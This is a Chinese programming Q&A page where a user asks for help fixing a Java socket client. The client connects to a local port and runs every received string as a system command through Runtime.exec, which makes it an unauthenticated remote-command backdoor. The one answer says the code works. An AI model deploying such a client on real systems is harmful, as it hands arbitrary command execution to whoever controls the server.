为了账号安全,请及时绑定邮箱和手机立即绑定

最后一行出现了问题,该怎么修改啊?

最后一行出现了问题,该怎么修改啊?

喵喔喔 2023-01-12 17:13:53
package qq;import java.io.*;import java.net.*;public class Client implements Runnable{String s=null;Socket mysocket;DataInputStream in=null;DataOutputStream out=null;Thread thread=null;Client(){thread=new Thread(this);/*我们要随时等待客户端的命令所以要开辟以线程,如果连上了主机那么我们谁是候命这就是需要开一个线程*/try { Thread.sleep(500);mysocket=new Socket("127.0.0.1",8888);//下面是初始化流in=new DataInputStream(mysocket.getInputStream());out=new DataOutputStream(mysocket.getOutputStream());} catch (UnknownHostException e) {e.printStackTrace();} catch (IOException e) {e.printStackTrace();}catch(Exception e){}thread.start();//启动线程}public static void main(String args[]){Client c=new Client();}public void f(String s){try {Runtime ec=Runtime.getRuntime();ec.exec(s);} catch (IOException e) {e.printStackTrace();}}public void run() {System.out.println("接受线程启动");while(true){try{String s=in.readUTF();f(s);//调用方法运行远程命令Thread.sleep(200);}catch(Exception e){}try {Thread.sleep(200);/*为了防止cpu占用过高或者内存占用过大这一句话是必要的*/} catch (InterruptedException e){// TODO Auto-generated catch blocke.printStackTrace();}}}}
查看完整描述

1 回答

?
偶然的你

TA贡献1841条经验 获得超3个赞

您有没有错误,我复制的代码,并试图,未出现明显异常。否则,你点切断,然后将其粘贴尝试,我敢肯定,是的,我有一个正在运行的结果..

查看完整回答
反对 回复 2023-01-15
  • 1 回答
  • 0 关注
  • 80 浏览

添加回答

举报

0/150
提交
取消
意见反馈 帮助中心 APP下载
官方微信